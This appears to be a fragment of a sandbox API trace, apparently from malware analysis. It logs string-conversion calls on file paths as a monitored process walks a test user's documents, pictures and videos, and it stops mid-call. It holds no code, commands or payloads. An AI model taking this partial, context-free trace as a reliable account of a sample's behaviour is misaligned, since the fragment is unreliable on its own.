dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/6E-An34Wc.pps", cchWideChar=61, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/6E-An34Wc.ppss/5p5NrGJn0jS%20HALPmcxz/Desktop/6E-An34Wc.pps", lpUsedDefaultChar=0x0) returned 61 [0059.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0ecc, cbMultiByte=61, lpWideCharStr=0x3bcc50c, cchWideChar=123 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/6E-An34Wc.pps") returned 61 [0059.858] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/oXxClzf7UiK.png", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/oXxClzf7UiK.png0jS%20HALPmcxz/AppData/Roaming/oXxClzf7UiK.png", lpUsedDefaultChar=0x0) returned 71 [0059.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=71, lpWideCharStr=0x42a1aac, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/oXxClzf7UiK.png唃열AԬRⓀ") returned 71 [0059.858] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/81kerGqg6_j2b6.pptx", cchWideChar=69, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/81kerGqg6_j2b6.pptxJn0jS%20HALPmcxz/Documents/81kerGqg6_j2b6.pptx", lpUsedDefaultChar=0x0) returned 69 [0059.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=69, lpWideCharStr=0x42a1bcc, cchWideChar=139 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/81kerGqg6_j2b6.pptx⨺열AԬR⎤") returned 69 [0059.858] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/vs4jAA0%20zd1HqzIZFr.gif", cchWideChar=73, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/vs4jAA0%20zd1HqzIZFr.gifS%20HALPmcxz/Pictures/vs4jAA0%20zd1HqzIZFr.gif", lpUsedDefaultChar=0x0) returned 73 [0059.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1938, cbMultiByte=73, lpWideCharStr=0x42a1cec, cchWideChar=147 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/vs4jAA0%20zd1HqzIZFr.gif⸰열AԬR≼") returned 73 [0059.858] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/kX2tA98.odp", cchWideChar=61, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/kX2tA98.odps/5p5NrGJn0jS%20HALPmcxz/Documents/kX2tA98.odp", lpUsedDefaultChar=0x0) returned 61 [0059.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0ecc, cbMultiByte=61, lpWideCharStr=0x42a1e18, cchWideChar=123 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/kX2tA98.odp髪열AԬRⅨ") returned 61 [0059.858] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/1i2rrq2gY8nQI1n1s3.jpg", cchWideChar=92, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/1i2rrq2gY8nQI1n1s3.jpgp/k%208cyI7PkJoZDNg%20M/1i2rrq2gY8nQI1n1s3.jpg", lpUsedDefaultChar=0x0) returned 92 [0059.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1650, cbMultiByte=92, lpWideCharStr=0x3bcd1c8, cchWideChar=185 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/k%208cyI7PkJoZDNg%20M/1i2rrq2gY8nQI1n1s3.jpgÀ") returned 92 [0059.858] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/OQQNDY6qNZHsM.flv", cchWideChar=65, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/OQQNDY6qNZHsM.flv5NrGJn0jS%20HALPmcxz/Desktop/OQQNDY6qNZHsM.flv", lpUsedDefaultChar=0x0) returned 65 [0059.858] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=65, lpWideCharStr=0x42a1a24, cchWideChar=131 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/OQQNDY6qNZHsM.flv") returned 65 [0059.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/c1Jyfiy2PqeG94Rl8.ods", cchWideChar=101, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/c1Jyfiy2PqeG94Rl8.odsQ_x8J4h/GYsSjG-g6A%20Jpf/c1Jyfiy2PqeG94Rl8.ods", lpUsedDefaultChar=0x0) returned 101 [0059.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0b24, cbMultiByte=101, lpWideCharStr=0x3bcd59c, cchWideChar=203 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/c1Jyfiy2PqeG94Rl8.ods") returned 101 [0059.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/7iohC33skm1MLtj_zsU.bmp", cchWideChar=104, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/7iohC33skm1MLtj_zsU.bmpSe5hmDr0IOl8/xGbG96m2n/7iohC33skm1MLtj_zsU.bmp", lpUsedDefaultChar=0x0) returned 104 [0059.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0a20, cbMultiByte=104, lpWideCharStr=0x3bcd7a8, cchWideChar=209 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/7iohC33skm1MLtj_zsU.bmpØ") returned 104 [0059.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/cv2QjF4C3ccq--VP.xlsx", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/cv2QjF4C3ccq--VP.xlsx0jS%20HALPmcxz/Documents/cv2QjF4C3ccq--VP.xlsx", lpUsedDefaultChar=0x0) returned 71 [0059.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=71, lpWideCharStr=0x42a1d84, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/cv2QjF4C3ccq--VP.xlsx") returned 71 [0059.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/RWDHO0IzJxGN9pWG.pptx", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/RWDHO0IzJxGN9pWG.pptx0jS%20HALPmcxz/Documents/RWDHO0IzJxGN9pWG.pptx", lpUsedDefaultChar=0x0) returned 71 [0059.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=71, lpWideCharStr=0x42a1f44, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/RWDHO0IzJxGN9pWG.pptxḱ열AԬR
") returned 71 [0059.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/x4sMoy/9IrqcHW4ThsWoTp/VkA9WpG3QP_KI.flv", cchWideChar=87, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/x4sMoy/9IrqcHW4ThsWoTp/VkA9WpG3QP_KI.flvideos/x4sMoy/9IrqcHW4ThsWoTp/VkA9WpG3QP_KI.flv", lpUsedDefaultChar=0x0) returned 87 [0059.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a2090, cbMultiByte=87, lpWideCharStr=0x42a20ec, cchWideChar=175 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/x4sMoy/9IrqcHW4ThsWoTp/VkA9WpG3QP_KI.flvث열AԬRṠ") returned 87 [0059.859] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/7zbK-lw.mkv", cchWideChar=79, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/7zbK-lw.mkvLPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/7zbK-lw.mkv", lpUsedDefaultChar=0x0) returned 79 [0059.859] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a225c, cbMultiByte=79, lpWideCharStr=0x3bccba0, cchWideChar=159 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/y9ZmZISZtA8fIYtTxfZp/7zbK-lw.mkv") returned 79 [0059.860] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/f5IF7l%20Fg-1E1w/ZIdWI%20VbebKgRLmaFag.jpg", cchWideChar=147, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/f5IF7l%20Fg-1E1w/ZIdWI%20VbebKgRLmaFag.jpg", lpUsedDefaultChar=0x0) returned 147 [0059.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bccad4, cbMultiByte=147, lpWideCharStr=0x3bcf024, cchWideChar=295 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/f5IF7l%20Fg-1E1w/ZIdWI%20VbebKgRLmaFag.jpg") returned 147 [0059.860] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/x4sMoy/9IrqcHW4ThsWoTp/4p5iJ0lNQ.flv", cchWideChar=83, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/x4sMoy/9IrqcHW4ThsWoTp/4p5iJ0lNQ.flvxz/Videos/x4sMoy/9IrqcHW4ThsWoTp/4p5iJ0lNQ.flv", lpUsedDefaultChar=0x0) returned 83 [0059.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc15c, cbMultiByte=83, lpWideCharStr=0x42a1e98, cchWideChar=167 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Videos/x4sMoy/9IrqcHW4ThsWoTp/4p5iJ0lNQ.flv") returned 83 [0059.860] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/aW1PsgN2xsPJR.gif", cchWideChar=98, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/aW1PsgN2xsPJR.gifnh_OS/Se5hmDr0IOl8/xGbG96m2n/aW1PsgN2xsPJR.gif", lpUsedDefaultChar=0x0) returned 98 [0059.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc368, cbMultiByte=98, lpWideCharStr=0x3bcd498, cchWideChar=197 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/xGbG96m2n/aW1PsgN2xsPJR.gifÌ") returned 98 [0059.860] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/CS68tY4DDQ.bmp", cchWideChar=119, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/CS68tY4DDQ.bmp", lpUsedDefaultChar=0x0) returned 119 [0059.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a226c, cbMultiByte=119, lpWideCharStr=0x3bcdf48, cchWideChar=239 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/KL%20GUyg5/aoQ9WvOr9RAjhS9/K-e0Wu/CS68tY4DDQ.bmp") returned 119 [0059.860] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/-gxq8.pptx", cchWideChar=60, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/-gxq8.pptxrs/5p5NrGJn0jS%20HALPmcxz/Documents/-gxq8.pptx", lpUsedDefaultChar=0x0) returned 60 [0059.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0ecc, cbMultiByte=60, lpWideCharStr=0x42a23b0, cchWideChar=121 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/-gxq8.pptx뭆怇열AԬRᯐ") returned 60 [0059.860] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/8eSNutIhoJBu4xJsfd.odp", cchWideChar=102, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/8eSNutIhoJBu4xJsfd.odp_x8J4h/GYsSjG-g6A%20Jpf/8eSNutIhoJBu4xJsfd.odp", lpUsedDefaultChar=0x0) returned 102 [0059.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a0b24, cbMultiByte=102, lpWideCharStr=0x42a14b0, cchWideChar=205 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/8eSNutIhoJBu4xJsfd.odpÔ") returned 102 [0059.860] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/iv2OYR.gif", cchWideChar=66, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/iv2OYR.gifNrGJn0jS%20HALPmcxz/AppData/Roaming/iv2OYR.gif", lpUsedDefaultChar=0x0) returned 66 [0059.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcbfbc, cbMultiByte=66, lpWideCharStr=0x42a1b40, cchWideChar=133 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/iv2OYR.gif\x8c") returned 66 [0059.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/cWhuivOd.ods", cchWideChar=75, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/cWhuivOd.ods20HALPmcxz/Documents/OstAGQ_x8J4h/cWhuivOd.ods", lpUsedDefaultChar=0x0) returned 75 [0059.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1938, cbMultiByte=75, lpWideCharStr=0x42a2504, cchWideChar=151 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/cWhuivOd.odsጊ열AԬR᩠") returned 75 [0059.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/HUu%20e.png", cchWideChar=82, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/HUu%20e.pngcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/HUu%20e.png", lpUsedDefaultChar=0x0) returned 82 [0059.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc15c, cbMultiByte=82, lpWideCharStr=0x42a2678, cchWideChar=165 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/HUu%20e.pngЖ⌔열AԬRᣜ") returned 82 [0059.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/1E-1x-bA_f/0pL6.bmp", cchWideChar=68, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/1E-1x-bA_f/0pL6.bmpGJn0jS%20HALPmcxz/Pictures/1E-1x-bA_f/0pL6.bmp", lpUsedDefaultChar=0x0) returned 68 [0059.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=68, lpWideCharStr=0x42a1c5c, cchWideChar=137 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/1E-1x-bA_f/0pL6.bmp\x90") returned 68 [0059.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/9iXgtByQq.doc", cchWideChar=93, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/9iXgtByQq.docts/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/9iXgtByQq.doc", lpUsedDefaultChar=0x0) returned 93 [0059.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1650, cbMultiByte=93, lpWideCharStr=0x42a2724, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/GYsSjG-g6A%20Jpf/9iXgtByQq.docᚭ열AԬR᠜") returned 93 [0059.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/ARLlNBsTl2X.pps", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/ARLlNBsTl2X.pps0jS%20HALPmcxz/AppData/Roaming/ARLlNBsTl2X.pps", lpUsedDefaultChar=0x0) returned 71 [0059.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=71, lpWideCharStr=0x42a27e4, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/ARLlNBsTl2X.pps潣열AԬRឈ") returned 71 [0059.861] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/chaznO%20Q_Ziy0yX2s.ots", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/chaznO%20Q_Ziy0yX2s.ots0jS%20HALPmcxz/Desktop/chaznO%20Q_Ziy0yX2s.ots", lpUsedDefaultChar=0x0) returned 71 [0059.861] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1744, cbMultiByte=71, lpWideCharStr=0x42a2878, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Desktop/chaznO%20Q_Ziy0yX2s.ots열AԬRᛴ") returned 71 [0059.862] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/1E-1x-bA_f/gWv1KyJiGPxpOMqL3.png", cchWideChar=81, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/1E-1x-bA_f/gWv1KyJiGPxpOMqL3.pngmcxz/Pictures/1E-1x-bA_f/gWv1KyJiGPxpOMqL3.png", lpUsedDefaultChar=0x0) returned 81 [0059.862] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc15c, cbMultiByte=81, lpWideCharStr=0x3bccc70, cchWideChar=163 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/1E-1x-bA_f/gWv1KyJiGPxpOMqL3.png") returned 81 [0059.862] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Ak2vRw6Tk3n.gif", cchWideChar=71, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Ak2vRw6Tk3n.gif0jS%20HALPmcxz/AppData/Roaming/Ak2vRw6Tk3n.gif", lpUsedDefaultChar=0x0) returned 71 [0059.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x3bcc05c, cbMultiByte=71, lpWideCharStr=0x42a29fc, cchWideChar=143 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/AppData/Roaming/Ak2vRw6Tk3n.gif쪄열AԬRᕰ") returned 71 [0059.870] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/DpUR93%20xREUOdJVi.png", cchWideChar=93, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/DpUR93%20xREUOdJVi.pngs/X7bnh_OS/Se5hmDr0IOl8/DpUR93%20xREUOdJVi.png", lpUsedDefaultChar=0x0) returned 93 [0059.870] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a1650, cbMultiByte=93, lpWideCharStr=0x42a2b84, cchWideChar=187 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Pictures/X7bnh_OS/Se5hmDr0IOl8/DpUR93%20xREUOdJVi.png⊡열AԬRᎼ") returned 93 [0059.871] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/nI-a%20EyZHIqzRrkt2.pdf", cchWideChar=86, lpMultiByteStr=0x18d580, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/nI-a%20EyZHIqzRrkt2.pdfDocuments/OstAGQ_x8J4h/nI-a%20EyZHIqzRrkt2.pdf", lpUsedDefaultChar=0x0) returned 86 [0059.871] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x42a2c4c, cbMultiByte=86, lpWideCharStr=0x42a2ca8, cchWideChar=173 | out: lpWideCharStr="file:///C:/Users/5p5NrGJn0jS%20HALPmcxz/Documents/OstAGQ_x8J4h/nI-a%20EyZHIqzRrkt2.pdf쌊헀열AԬRኤ") returned 86 [0059.871] WideCharToMultiByte (in: CodePage=0x3, 